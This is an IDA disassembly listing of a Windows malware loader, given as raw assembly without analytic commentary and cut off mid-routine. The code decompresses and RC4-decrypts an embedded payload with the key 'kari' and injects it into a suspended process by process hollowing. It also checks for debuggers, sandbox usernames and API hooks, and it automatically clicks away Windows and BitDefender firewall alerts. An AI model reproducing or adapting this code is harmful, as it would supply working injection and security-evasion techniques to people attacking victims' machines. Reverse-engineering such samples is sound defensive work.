; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 859E6786F0C4F60C9899D0D1054644A1 ; File Name : u:\work\859e6786f0c4f60c9899d0d1054644a1_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000048BF ( 18623.) ; Section size in file : 00004A00 ( 18944.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401868+B2p ; sub_401868+C0p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi mov edi, [ebp+arg_8] imul edi, 64h push edi ; Size call _malloc test eax, eax pop ecx mov [ebp+var_8], eax jz short loc_401085 push ebx push offset LibFileName ; "ntdll.dll" call ds:LoadLibraryA ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_401082 push esi mov esi, ds:GetProcAddress push offset ProcName ; "RtlDecompressBuffer" push ebx ; hModule call esi ; GetProcAddress push offset aRtlgetcompress ; "RtlGetCompressionWorkSpaceSize" push ebx ; hModule mov [ebp+var_4], eax call esi ; GetProcAddress cmp [ebp+arg_8], 0 pop esi jz short loc_401082 cmp [ebp+var_4], 0 jz short loc_401082 test eax, eax jz short loc_401082 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_10] push ecx push 2 call eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] push edi push [ebp+var_8] push 2 call [ebp+var_4] push ebx ; hLibModule call ds:FreeLibrary ; FreeLibrary mov eax, [ebp+var_8] jmp short loc_401084 ; --------------------------------------------------------------------------- loc_401082: ; CODE XREF: sub_401000+2Bj ; sub_401000+4Cj ... xor eax, eax loc_401084: ; CODE XREF: sub_401000+80j pop ebx loc_401085: ; CODE XREF: sub_401000+19j pop edi leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401088(char *Str, int, int) sub_401088 proc near ; CODE XREF: sub_401868+CEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 210h mov eax, [ebp+arg_8] push esi lea esi, [eax+eax*4] push edi shl esi, 1 push esi ; Size call _malloc xor edi, edi cmp eax, edi pop ecx mov [ebp+var_C], eax jnz short loc_4010B2 xor eax, eax jmp loc_40119E ; --------------------------------------------------------------------------- loc_4010B2: ; CODE XREF: sub_401088+21j push esi ; Size push edi ; Val push eax ; Dst call _memset add esp, 0Ch xor eax, eax loc_4010BF: ; CODE XREF: sub_401088+44j mov [ebp+eax+var_210], al inc eax cmp eax, 0FFh jle short loc_4010BF mov [ebp+var_8], edi mov [ebp+var_4], edi mov esi, 100h push ebx loc_4010DA: ; CODE XREF: sub_401088+9Ej mov edi, [ebp+var_4] push [ebp+Str] ; Str lea edi, [ebp+edi+var_210] mov bl, [edi] call _strlen xor edx, edx pop ecx mov ecx, eax mov eax, [ebp+var_4] div ecx mov eax, [ebp+Str] movsx ecx, byte ptr [edx+eax] add ecx, [ebp+var_8] movzx eax, bl add eax, ecx cdq mov ecx, esi idiv ecx inc [ebp+var_4] cmp [ebp+var_4], 0FFh lea eax, [ebp+edx+var_210] mov cl, [eax] mov [edi], cl mov [ebp+var_8], edx mov [eax], bl jle short loc_4010DA xor eax, eax cmp [ebp+arg_8], eax mov [ebp+var_8], eax mov [ebp+var_4], eax jle short loc_40119A mov eax, [ebp+arg_4] sub eax, [ebp+var_C] mov [ebp+var_10], eax loc_40113E: ; CODE XREF: sub_401088+110j mov eax, [ebp+var_4] cdq mov ecx, esi idiv ecx mov edi, esi lea ecx, [ebp+edx+var_210] mov bl, [ecx] movzx eax, bl add eax, [ebp+var_8] cdq idiv edi lea eax, [ebp+edx+var_210] mov [ebp+var_8], edx mov dl, [eax] mov [ecx], dl mov edx, [ebp+var_C] mov [eax], bl mov eax, [ebp+var_4] lea edi, [eax+edx] movzx eax, byte ptr [ecx] movzx ecx, bl add eax, ecx cdq mov ecx, esi idiv ecx mov ecx, [ebp+var_10] mov al, [ebp+edx+var_210] xor al, [ecx+edi] inc [ebp+var_4] mov [edi], al mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_40113E loc_40119A: ; CODE XREF: sub_401088+ABj mov eax, [ebp+var_C] pop ebx loc_40119E: ; CODE XREF: sub_401088+25j pop edi pop esi leave retn sub_401088 endp ; =============== S U B R O U T I N E ======================================= sub_4011A2 proc near ; CODE XREF: sub_4011C7+5Bp ; sub_4011C7+AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax cmp [esp+arg_4], eax jle short locret_4011C6 mov ecx, [esp+arg_0] mov edx, dword_4082C4 add ecx, edx loc_4011B6: ; CODE XREF: sub_4011A2+22j mov dl, [ecx+eax] mov byte_408300[eax], dl inc eax cmp eax, [esp+arg_4] jl short loc_4011B6 locret_4011C6: ; CODE XREF: sub_4011A2+6j retn sub_4011A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011C7 proc near ; CODE XREF: WinMain(x,x,x,x)+A8p var_13C = byte ptr -13Ch Dst = byte ptr -5Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_16 = word ptr -16h var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 13Ch mov eax, dword_408040 mov ecx, dword_4082C4 push ebx push esi lea esi, [ecx+eax] mov bl, [esi] mov byte_4082CC, bl mov cl, [esi+1] push edi mov edi, nNumberOfBytesToRead mov byte_4082FC, cl mov cl, [esi+2] neg byte_4082FC sub edi, eax neg bl neg cl cmp edi, 40h mov byte_4082CC, bl mov byte_4082C0, cl jb loc_4012BD add eax, 3 push 40h push eax call sub_4011A2 pop ecx pop ecx mov byte_408340, 0 xor esi, esi loc_401232: ; CODE XREF: sub_4011C7+81j mov cl, byte_4082FC lea eax, dword_408301[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, 40h jb short loc_401232 push 40h ; Size mov ebx, offset byte_408300 lea eax, [ebp+Dst] push ebx ; Src push eax ; Dst call _memcpy mov eax, [ebp+var_20] lea ecx, [eax+18h] add esp, 0Ch cmp edi, ecx jb short loc_4012BD mov ecx, dword_408040 lea eax, [ecx+eax+3] push 18h push eax call sub_4011A2 pop ecx pop ecx mov byte_408318, 0 xor esi, esi loc_401285: ; CODE XREF: sub_4011C7+DAj mov cl, byte_4082CC lea eax, dword_408301[esi] add [eax-1], cl mov cl, byte_4082FC add [eax], cl inc esi inc esi cmp esi, 18h jb short loc_401285 push 18h ; Size lea eax, [ebp+var_1C] push ebx ; Src push eax ; Dst call _memcpy mov esi, 0E0h add esp, 0Ch cmp [ebp+var_8], si jz short loc_4012C4 loc_4012BD: ; CODE XREF: sub_4011C7+4Fj ; sub_4011C7+9Fj xor al, al jmp loc_4013AA ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_4011C7+F4j mov ecx, dword_408040 mov eax, [ebp+var_20] lea eax, [ecx+eax+1Bh] push esi push eax call sub_4011A2 pop ecx pop ecx mov byte_4083E0, 0 xor edi, edi loc_4012E3: ; CODE XREF: sub_4011C7+137j mov cl, byte_4082CC lea eax, dword_408301[edi] add [eax-1], cl mov cl, byte_4082FC add [eax], cl inc edi inc edi cmp edi, esi jb short loc_4012E3 push esi ; Size lea eax, [ebp+var_13C] push ebx ; Src push eax ; Dst call _memcpy movzx eax, [ebp+var_16] lea eax, [eax+eax*4] shl eax, 3 push eax ; dwBytes call ??2@YAPAXI@Z ; operator new(uint) movzx esi, [ebp+var_16] mov ecx, dword_408040 mov [ebp+var_4], eax mov eax, [ebp+var_20] lea esi, [esi+esi*4] shl esi, 3 lea eax, [ecx+eax+0FBh] push esi push eax call sub_4011A2 add esp, 18h xor edi, edi test esi, esi mov byte_408300[esi], 0 jbe short loc_40136F loc_401352: ; CODE XREF: sub_4011C7+1A6j mov cl, byte_4082CC lea eax, dword_408301[edi] add [eax-1], cl mov cl, byte_4082FC add [eax], cl inc edi inc edi cmp edi, esi jb short loc_401352 loc_40136F: ; CODE XREF: sub_4011C7+189j push esi ; Size push ebx ; Src push [ebp+var_4] ; Dst call _memcpy mov edi, [ebp+arg_0] mov eax, [ebp+arg_10] add esp, 0Ch push 10h pop ecx push 6 lea esi, [ebp+Dst] rep movsd mov edi, [ebp+arg_8] pop ecx lea esi, [ebp+var_1C] rep movsd mov edi, [ebp+arg_C] push 38h pop ecx lea esi, [ebp+var_13C] rep movsd mov ecx, [ebp+var_4] mov [eax], ecx mov al, 1 loc_4013AA: ; CODE XREF: sub_4011C7+F8j pop edi pop esi pop ebx leave retn sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4013AF proc near ; CODE XREF: WinMain(x,x,x,x)+CAp arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] mov ecx, [eax+3Ch] push esi mov esi, [eax+20h] xor edx, edx mov eax, ecx div esi test edx, edx jz short loc_4013CC lea ecx, [eax+1] imul ecx, esi loc_4013CC: ; CODE XREF: sub_4013AF+15j mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401405 push ebx mov ebx, [ebp+arg_C] push edi add ebx, 8 mov [ebp+arg_8], eax loc_4013E2: ; CODE XREF: sub_4013AF+52j mov edi, [ebx] test edi, edi jz short loc_4013FB xor edx, edx mov eax, edi div esi test edx, edx jnz short loc_4013F6 add ecx, edi jmp short loc_4013FB ; --------------------------------------------------------------------------- loc_4013F6: ; CODE XREF: sub_4013AF+41j imul eax, esi add ecx, eax loc_4013FB: ; CODE XREF: sub_4013AF+37j ; sub_4013AF+45j add ebx, 28h dec [ebp+arg_8] jnz short loc_4013E2 pop edi pop ebx loc_401405: ; CODE XREF: sub_4013AF+26j mov eax, ecx pop esi pop ebp retn sub_4013AF endp ; =============== S U B R O U T I N E ======================================= sub_40140A proc near ; CODE XREF: sub_401424+A9p ; sub_401424+12Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor edx, edx div [esp+arg_4] test edx, edx jnz short loc_40141D mov eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40141D: ; CODE XREF: sub_40140A+Cj inc eax imul eax, [esp+arg_4] retn sub_40140A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401424(int, int, int, size_t Size, int, void *Dst) sub_401424 proc near ; CODE XREF: WinMain(x,x,x,x)+FAp arg_4 = dword ptr 0Ch Size = dword ptr 14h arg_10 = dword ptr 18h Dst = dword ptr 1Ch push ebp mov ebp, esp mov eax, dword_4082C4 push ebx push esi mov esi, dword_408040 add eax, esi mov bl, [eax] mov byte_4082CC, bl mov cl, [eax+1] mov byte_4082FC, cl mov al, [eax+2] neg byte_4082FC neg al mov byte_4082C0, al mov eax, [ebp+Size] neg bl mov byte_4082CC, bl push edi mov edi, [eax+3Ch] mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401485 mov ecx, [ebp+arg_10] add ecx, 14h loc_401477: ; CODE XREF: sub_401424+5Fj mov edx, [ecx] cmp edx, edi jnb short loc_40147F mov edi, edx loc_40147F: ; CODE XREF: sub_401424+57j add ecx, 28h dec eax jnz short loc_401477 loc_401485: ; CODE XREF: sub_401424+4Bj push edi add esi, 3 push esi call sub_4011A2 pop ecx xor esi, esi test edi, edi pop ecx mov byte_408300[edi], 0 jbe short loc_4014B5 loc_40149E: ; CODE XREF: sub_401424+8Fj mov cl, byte_4082FC lea eax, dword_408301[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, edi jb short loc_40149E loc_4014B5: ; CODE XREF: sub_401424+78j push edi ; Size push offset byte_408300 ; Src push [ebp+Dst] ; Dst call _memcpy mov ebx, [ebp+Size] mov ecx, [ebx+20h] push ecx push dword ptr [ebx+3Ch] call sub_40140A mov edi, eax add edi, [ebp+Dst] mov eax, [ebp+arg_4] and [ebp+Dst], 0 add esp, 14h cmp word ptr [eax+6], 0 jbe loc_401583 mov esi, [ebp+arg_10] add esi, 8 loc_4014F2: ; CODE XREF: sub_401424+159j mov eax, [esi+8] test eax, eax jbe short loc_40155B mov [ebp+Size], eax mov eax, [esi] cmp [ebp+Size], eax jbe short loc_401506 mov [ebp+Size], eax loc_401506: ; CODE XREF: sub_401424+DDj mov eax, [esi+0Ch] mov ecx, dword_408040 push [ebp+Size] lea eax, [eax+ecx+3] push eax call sub_4011A2 mov eax, [ebp+Size] pop ecx pop ecx xor ecx, ecx test eax, eax mov byte_408300[eax], 0 jbe short loc_40153F loc_40152E: ; CODE XREF: sub_401424+119j mov dl, byte_4082C0 add byte_408300[ecx], dl inc ecx cmp ecx, eax jb short loc_40152E loc_40153F: ; CODE XREF: sub_401424+108j push eax ; Size push offset byte_408300 ; Src push edi ; Dst call _memcpy mov ecx, [ebx+20h] push ecx push dword ptr [esi] call sub_40140A add esp, 14h jmp short loc_40156B ; --------------------------------------------------------------------------- loc_40155B: ; CODE XREF: sub_401424+D3j mov eax, [esi] test eax, eax jz short loc_40156D push ecx push eax call sub_40140A add esp, 8 loc_40156B: ; CODE XREF: sub_401424+135j add edi, eax loc_40156D: ; CODE XREF: sub_401424+13Bj mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] inc [ebp+Dst] add esi, 28h cmp [ebp+Dst], eax jl loc_4014F2 loc_401583: ; CODE XREF: sub_401424+C2j pop edi pop esi mov al, 1 pop ebx pop ebp retn sub_401424 endp ; =============== S U B R O U T I N E ======================================= sub_40158A proc near ; CODE XREF: sub_4016ED+BDp arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov ecx, [esp+arg_8] mov eax, [ecx+88h] test eax, eax jz short locret_4015F9 cmp dword ptr [ecx+8Ch], 0 jz short locret_4015F9 mov edx, [esp+arg_10] push esi mov esi, [esp+4+arg_14] sub esi, [ecx+1Ch] add eax, edx cmp dword ptr [eax+4], 0 jz short loc_4015F8 push ebx push edi loc_4015B7: ; CODE XREF: sub_40158A+6Aj mov ecx, [eax+4] sub ecx, 8 shr ecx, 1 test ecx, ecx lea edi, [eax+8] jle short loc_4015EE mov ebx, ecx loc_4015C8: ; CODE XREF: sub_40158A+62j xor edx, edx mov dx, [edi] mov ecx, edx and ecx, 0FFFh add ecx, [esp+0Ch+arg_10] and dx, 0F000h add ecx, [eax] cmp dx, 3000h jnz short loc_4015E9 add [ecx], esi loc_4015E9: ; CODE XREF: sub_40158A+5Bj inc edi inc edi dec ebx jnz short loc_4015C8 loc_4015EE: ; CODE XREF: sub_40158A+3Aj cmp dword ptr [edi+4], 0 mov eax, edi jnz short loc_4015B7 pop edi pop ebx loc_4015F8: ; CODE XREF: sub_40158A+29j pop esi locret_4015F9: ; CODE XREF: sub_40158A+Cj ; sub_40158A+15j retn sub_40158A endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4015FA(int, HANDLE hProcess, LPCVOID lpAddress, SIZE_T dwLength) sub_4015FA proc near ; CODE XREF: sub_401612+A1p hProcess = dword ptr 8 lpAddress = dword ptr 0Ch dwLength = dword ptr 10h push [esp+dwLength] ; dwLength push offset Buffer ; lpBuffer push [esp+8+lpAddress] ; lpAddress push [esp+0Ch+hProcess] ; hProcess call ds:VirtualQueryEx ; VirtualQueryEx retn sub_4015FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401612(LPSTR lpCommandLine, LPPROCESS_INFORMATION lpProcessInformation, int, LPCONTEXT lpContext, int) sub_401612 proc near ; CODE XREF: WinMain(x,x,x,x)+117p StartupInfo = _STARTUPINFOA ptr -48h var_4 = byte ptr -4 lpCommandLine = dword ptr 8 lpProcessInformation= dword ptr 0Ch lpContext = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 48h push esi mov esi, [ebp+lpProcessInformation] push edi push 10h pop ecx xor edx, edx push esi ; lpProcessInformation xor eax, eax mov [ebp+StartupInfo.cb], edx lea edi, [ebp+StartupInfo.lpReserved] rep stosd lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push edx ; lpCurrentDirectory push edx ; lpEnvironment push 4 ; dwCreationFlags push edx ; bInheritHandles push edx ; lpThreadAttributes push edx ; lpProcessAttributes push [ebp+lpCommandLine] ; lpCommandLine push edx ; lpApplicationName call ds:CreateProcessA ; CreateProcessA test eax, eax jz loc_4016CA mov edi, [ebp+lpContext] push ebx push edi ; lpContext mov dword ptr [edi], 10007h push dword ptr [esi+4] ; hThread call ds:GetThreadContext ; GetThreadContext mov ebx, [ebp+arg_10] lea eax, [ebp+var_4] push eax mov eax, [edi+0A4h] push 4 push ebx add eax, 8 push eax push dword ptr [esi] call dword_4362C0 ; ReadProcessMemory mov edi, [ebx] jmp short loc_4016AC ; --------------------------------------------------------------------------- loc_40167E: ; CODE XREF: sub_401612+ABj cmp Buffer.State, 10000h jz short loc_4016BF cmp edi, 0D7E9Bh jnz short loc_4016A6 push 2Ch ; uType push offset Caption ; "ytryi90ue turet sret trshgfdjh gfdhfdg" push offset Text ; "gsfdgsfdgsfdgretsfdhgsfdhgfd" push 0 ; hWnd call ds:MessageBoxA ; MessageBoxA loc_4016A6: ; CODE XREF: sub_401612+7Ej add edi, Buffer.RegionSize loc_4016AC: ; CODE XREF: sub_401612+6Aj push 1Ch ; dwLength push edi ; lpAddress push dword ptr [esi] ; hProcess push 0 ; int call sub_4015FA add esp, 10h test eax, eax jnz short loc_40167E loc_4016BF: ; CODE XREF: sub_401612+76j sub edi, [ebx] xor eax, eax mov [ebx+4], edi inc eax pop ebx jmp short loc_4016CC ; --------------------------------------------------------------------------- loc_4016CA: ; CODE XREF: sub_401612+32j xor eax, eax loc_4016CC: ; CODE XREF: sub_401612+B6j pop edi pop esi leave retn sub_401612 endp ; =============== S U B R O U T I N E ======================================= sub_4016D0 proc near ; CODE XREF: sub_4016ED+83p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp dword ptr [eax+88h], 0 jz short loc_4016EA cmp dword ptr [eax+8Ch], 0 jz short loc_4016EA xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4016EA: ; CODE XREF: sub_4016D0+Bj ; sub_4016D0+14j xor eax, eax retn sub_4016D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016ED proc near ; CODE XREF: WinMain(x,x,x,x)+17Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch flOldProtect = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h hProcess = dword ptr 28h arg_24 = dword ptr 2Ch arg_30 = dword ptr 38h arg_D4 = dword ptr 0DCh arg_E0 = dword ptr 0E8h lpAddress = dword ptr 304h dwSize = dword ptr 308h push ebp mov ebp, esp mov eax, [ebp+lpAddress] push ebx mov ebx, [ebp+flOldProtect] cmp [ebx+1Ch], eax push esi mov esi, ds:VirtualAllocEx push edi mov edi, 3000h jnz short loc_40172F mov ecx, [ebp+dwSize] cmp [ebp+arg_18], ecx ja short loc_40172F lea edx, [ebp+flOldProtect] push edx ; lpflOldProtect push 40h ; flNewProtect push ecx ; dwSize push eax ; lpAddress push [ebp+hProcess] ; hProcess mov dword_4362BC, eax call ds:VirtualProtectEx ; VirtualProtectEx jmp short loc_401766 ; --------------------------------------------------------------------------- loc_40172F: ; CODE XREF: sub_4016ED+1Dj ; sub_4016ED+28j mov ecx, [ebp+hProcess] push eax push ecx mov dword_4082F8, ecx mov dword_4362A8, eax call dword_4362C4 ; ZwUnmapViewOfSection test eax, eax jnz short loc_40174D mov byte ptr [ebp+flOldProtect+3], 1 loc_40174D: ; CODE XREF: sub_4016ED+5Aj cmp byte ptr [ebp+flOldProtect+3], 1 jnz short loc_401766 push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_18] ; dwSize push dword ptr [ebx+1Ch] ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx mov dword_4362BC, eax loc_401766: ; CODE XREF: sub_4016ED+40j ; sub_4016ED+64j cmp dword_4362BC, 0 jnz short loc_4017BF push ebx call sub_4016D0 add esp, 4 test eax, eax jz loc_40184D push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_18] ; dwSize push 0 ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx test eax, eax mov dword_4362BC, eax jz loc_40184D push 0 push eax push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_40158A add esp, 1Ch cmp dword_4362BC, 0 jz loc_40184D loc_4017BF: ; CODE XREF: sub_4016ED+80j mov esi, [ebp+arg_D4] push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress push 0 push 4 push offset dword_4362BC add esi, 8 push esi mov esi, [ebp+hProcess] push esi call eax mov eax, [ebp+arg_0] mov eax, [eax+3Ch] mov ecx, dword_4362BC mov edx, [ebp+arg_14] mov [eax+edx+34h], ecx mov eax, dword_4362BC cmp eax, [ebp+lpAddress] mov [ebp+arg_30], 10007h jnz short loc_401824 mov eax, [ebx+10h] add eax, [ebx+1Ch] mov [ebp+arg_E0], eax jmp short loc_40182F ; --------------------------------------------------------------------------- loc_401824: ; CODE XREF: sub_4016ED+127j mov ecx, [ebx+10h] add ecx, eax mov [ebp+arg_E0], ecx loc_40182F: ; CODE XREF: sub_4016ED+135j mov eax, [ebp+arg_24] lea ecx, [ebp+arg_30] push ecx push eax mov dword_4362B0, esi mov hThread, eax call dword_4362C8 ; SetThreadContext xor eax, eax inc eax jmp short loc_40184F ; --------------------------------------------------------------------------- loc_40184D: ; CODE XREF: sub_4016ED+8Dj ; sub_4016ED+A7j ... xor eax, eax loc_40184F: ; CODE XREF: sub_4016ED+15Ej pop edi pop esi pop ebx pop ebp retn sub_4016ED endp ; =============== S U B R O U T I N E ======================================= sub_401854 proc near ; CODE XREF: WinMain(x,x,x,x)+1ADp push hThread ; hThread mov byte_4362B4, 1 call ds:ResumeThread ; ResumeThread retn sub_401854 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401868(int, LPCSTR lpFileName) sub_401868 proc near ; CODE XREF: WinMain(x,x,x,x)+39p var_8 = dword ptr -8 NumberOfBytesRead= dword ptr -4 lpFileName = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi xor ebx, ebx push ebx ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 1 ; dwShareMode push 80000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName call ds:CreateFileA ; CreateFileA push ebx ; lpFileSizeHigh push eax ; hFile mov hFile, eax call ds:GetFileSize ; GetFileSize mov nNumberOfBytesToRead, eax inc eax push eax ; Size call _malloc pop ecx push ebx ; lpOverlapped lea ecx, [ebp+NumberOfBytesRead] push ecx ; lpNumberOfBytesRead push nNumberOfBytesToRead ; nNumberOfBytesToRead mov dword_4082C4, eax push eax ; lpBuffer push hFile ; hFile call ds:ReadFile ; ReadFile mov eax, [ebp+NumberOfBytesRead] sub eax, dword_408040 inc eax push eax ; Size call _malloc mov esi, eax mov eax, [ebp+NumberOfBytesRead] pop ecx mov ecx, dword_408040 xor edx, edx sub eax, ecx jz short loc_401900 loc_4018E3: ; CODE XREF: sub_401868+96j mov eax, dword_4082C4 add ecx, eax mov al, [ecx+edx] mov [edx+esi], al mov eax, [ebp+NumberOfBytesRead] mov ecx, dword_408040 inc edx sub eax, ecx cmp edx, eax jb short loc_4018E3 loc_401900: ; CODE XREF: sub_401868+79j mov eax, esi sub eax, ecx mov ecx, [ebp+NumberOfBytesRead] mov [eax+ecx], bl lea eax, [ebp+NumberOfBytesRead] push eax mov eax, [ebp+NumberOfBytesRead] sub eax, dword_408040 push eax push ebx push esi call sub_401000 lea ecx, [ebp+var_8] push ecx push [ebp+NumberOfBytesRead] push ebx push eax call sub_401000 push [ebp+var_8] ; int push eax ; int push offset aKari ; "kari" call sub_401088 add esp, 2Ch pop esi mov dword_408040, ebx mov dword_4082C4, eax pop ebx leave retn sub_401868 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40194D proc near ; CODE XREF: WinMain(x,x,x,x)+40p String2 = byte ptr -68h pcbBuffer = dword ptr -4 push ebp mov ebp, esp sub esp, 68h push esi push 64h pop esi push esi ; Size lea eax, [ebp+String2] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+pcbBuffer] push eax ; pcbBuffer lea eax, [ebp+String2] push eax ; lpBuffer mov [ebp+pcbBuffer], esi call ds:GetUserNameA ; GetUserNameA test eax, eax jz short loc_4019A3 mov esi, ds:lstrcmpA lea eax, [ebp+String2] push eax ; lpString2 push offset String1 ; "USER" call esi ; lstrcmpA test eax, eax jz short loc_40199F lea eax, [ebp+String2] push eax ; lpString2 push offset aCurrentuser ; "CurrentUser" call esi ; lstrcmpA test eax, eax jnz short loc_4019A3 loc_40199F: ; CODE XREF: sub_40194D+41j mov al, 1 jmp short loc_4019A5 ; --------------------------------------------------------------------------- loc_4019A3: ; CODE XREF: sub_40194D+2Cj ; sub_40194D+50j xor al, al loc_4019A5: ; CODE XREF: sub_40194D+54j pop esi leave retn sub_40194D endp ; =============== S U B R O U T I N E ======================================= sub_4019A8 proc near ; CODE XREF: WinMain(x,x,x,x)+4Dp push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 3 ; dwShareMode push 0C0000000h ; dwDesiredAccess push offset FileName ; "\\\\.\\NTICE" call ds:CreateFileA ; CreateFileA cmp eax, 0FFFFFFFFh jz short loc_4019D5 push eax ; hObject call ds:CloseHandle ; CloseHandle xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4019D5: ; CODE XREF: sub_4019A8+20j xor eax, eax retn sub_4019A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D8 proc near ; CODE XREF: WinMain(x,x,x,x)+5Ap Buffer = byte ptr -1 push ebp mov ebp, esp push ecx push ebx push offset aCreateprocessa ; "CreateProcessA" push offset aKernel32_dll_0 ; "KERNEL32.dll" xor ebx, ebx call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress push ebx ; lpNumberOfBytesRead push 1 ; nSize lea ecx, [ebp+Buffer] push ecx ; lpBuffer push eax ; lpBaseAddress call ds:GetCurrentProcess ; GetCurrentProcess push eax ; hProcess call ds:ReadProcessMemory ; ReadProcessMemory cmp [ebp+Buffer], 0E9h jnz short loc_401A13 mov bl, 1 loc_401A13: ; CODE XREF: sub_4019D8+37j mov al, bl pop ebx leave retn sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; DWORD __stdcall StartAddress(LPVOID) StartAddress proc near ; DATA XREF: WinMain(x,x,x,x)+24o push ebx push ebp push esi push edi mov edi, ds:FindWindowA mov ebx, offset WindowName ; "Windows Security Alert" push ebx ; lpWindowName push 0 ; lpClassName call edi ; FindWindowA mov ebp, ds:Sleep jmp short loc_401A4B ; --------------------------------------------------------------------------- loc_401A34: ; CODE XREF: StartAddress+37j push offset aBitdefenderFir ; "BitDefender Firewall Alert" push 0 ; lpClassName call edi ; FindWindowA mov esi, eax test esi, esi jnz short loc_401A76 push 1Eh ; dwMilliseconds call ebp ; Sleep push ebx ; lpWindowName push esi ; lpClassName call edi ; FindWindowA loc_401A4B: ; CODE XREF: StartAddress+1Aj mov esi, eax test esi, esi jz short loc_401A34 push 0 ; lParam push 68h ; wParam push 111h ; Msg push esi ; hWnd call ds:SendMessageA ; SendMessageA mov edi, ds:IsWindow jmp short loc_401A6D ; --------------------------------------------------------------------------- loc_401A69: ; CODE XREF: StartAddress+5Aj push 32h ; dwMilliseconds call ebp ; Sleep loc_401A6D: ; CODE XREF: StartAddress+4Fj push esi ; hWnd call edi ; IsWindow test eax, eax jnz short loc_401A69 jmp short loc_401AA4 ; --------------------------------------------------------------------------- loc_401A76: ; CODE XREF: StartAddress+29j mov edi, ds:SendMessageA push 0 ; lParam push 4Dh ; wParam mov ebx, 111h push ebx ; Msg push esi ; hWnd call edi ; 